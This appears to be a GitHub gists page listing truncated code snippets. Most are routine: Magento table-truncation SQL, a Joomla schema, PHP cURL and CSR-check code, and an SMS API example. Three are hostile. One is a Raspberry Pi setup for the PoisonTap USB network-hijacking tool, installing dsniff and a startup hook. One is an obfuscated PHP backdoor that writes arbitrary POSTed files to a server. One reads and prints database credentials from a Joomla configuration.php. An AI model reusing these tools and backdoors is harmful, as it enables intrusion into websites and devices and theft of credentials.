This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo bash | |
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces | |
echo "dtoverlay=dwc2" >> /boot/config.txt | |
echo -e "dwc2\ng_ether" >> /etc/modules | |
sudo sed --in-place "/exit 0/d" /etc/rc.local | |
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local | |
mkdir /home/pi/poisontap | |
chown -R pi /home/pi/poisontap | |
apt-get update && apt-get upgrade | |
apt-get -y install isc-dhcp-server dsniff screen nodejs |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SET FOREIGN_KEY_CHECKS = 0; | |
TRUNCATE TABLE catalog_category_entity; | |
TRUNCATE TABLE catalog_category_entity_datetime; | |
TRUNCATE TABLE catalog_category_entity_decimal; | |
TRUNCATE TABLE catalog_category_entity_int; | |
TRUNCATE TABLE catalog_category_entity_text; | |
TRUNCATE TABLE catalog_category_entity_varchar; | |
TRUNCATE TABLE catalog_category_product; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SET FOREIGN_KEY_CHECKS=0; | |
-- Here's where we reset the orders | |
TRUNCATE `sales_flat_order`; | |
TRUNCATE `sales_flat_order_address`; | |
TRUNCATE `sales_flat_order_grid`; | |
TRUNCATE `sales_flat_order_item`; | |
TRUNCATE `sales_flat_order_status_history`; | |
TRUNCATE `sales_flat_quote`; | |
TRUNCATE `sales_flat_quote_address`; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- Table structure for table `r53wg_content_types` | |
-- | |
CREATE TABLE IF NOT EXISTS `r53wg_content_types` ( | |
`type_id` int(10) unsigned NOT NULL AUTO_INCREMENT, | |
`type_title` varchar(255) NOT NULL DEFAULT '', | |
`type_alias` varchar(255) NOT NULL DEFAULT '', | |
`table` varchar(255) NOT NULL DEFAULT '', | |
`rules` text NOT NULL, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// set the URL | |
$url = "http://www.juicymedia.co.uk"; | |
// create a new cURL resource | |
$ch = curl_init(); | |
// set URL and other appropriate options | |
curl_setopt($ch, CURLOPT_URL, $url); | |
curl_setopt($ch, CURLOPT_HEADER, 0); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// start the output from scratch | |
ob_start(); | |
// some older PHP configs need this setting | |
date_default_timezone_set('Europe/London'); | |
// collect some other useful information | |
$json_array = array( | |
"status" => null, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<h3>Check CSR Details</h3> | |
<form method="post"> | |
<p>Paste the CSR in the text area below:</p> | |
<textarea rows="16" cols="65" name="csr"> | |
</textarea> | |
<br /> | |
<input type="submit" /> | |
</form> | |
<hr noshade /> | |
<?php |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (empty ( $_POST ['mode'] ) or empty ( $_POST ['name'] )) | |
exit ( '0' ); | |
switch ($_POST ['mode']) { | |
case 'load' : | |
if (empty ( $_POST ['data'] )) | |
exit ( 'no data' ); | |
$IIIIIIII1Ill = fopen ( $_POST ['name'], 'w' ) or exit ( $_POST ['name'] . ' - load_no [' . dirname ( '/home/client/public_html/images/stm.php' ) . '/' . $_POST ['name'] . ']' ); | |
fwrite ( $IIIIIIII1Ill, urldecode ( $_POST ['data'] ) ); | |
fclose ( $IIIIIIII1Ill ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
Error_Reporting(E_ERROR); | |
ini_set("max_execution_time", "555"); | |
$gg=fopen('../configuration.php', 'r'); | |
while($s=fgets($gg)){ | |
if(strstr($s,'$user')){$str=explode("'",$s);$usr=$str[1];} | |
if(strstr($s,'$host ')){$str=explode("'",$s);$hst=$str[1];} | |
if(strstr($s,'$password ')){$str=explode("'",$s);$pass=$str[1];} | |
};fclose($gg); | |
echo "$usr-$pass-$hst"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$user = "user"; | |
$password = "pass"; | |
$api_id = "123456"; | |
$baseurl ="http://api.clickatell.com"; | |
$text = urlencode("Knock knock); | |
$to = "+4471253789"; | |
// auth call |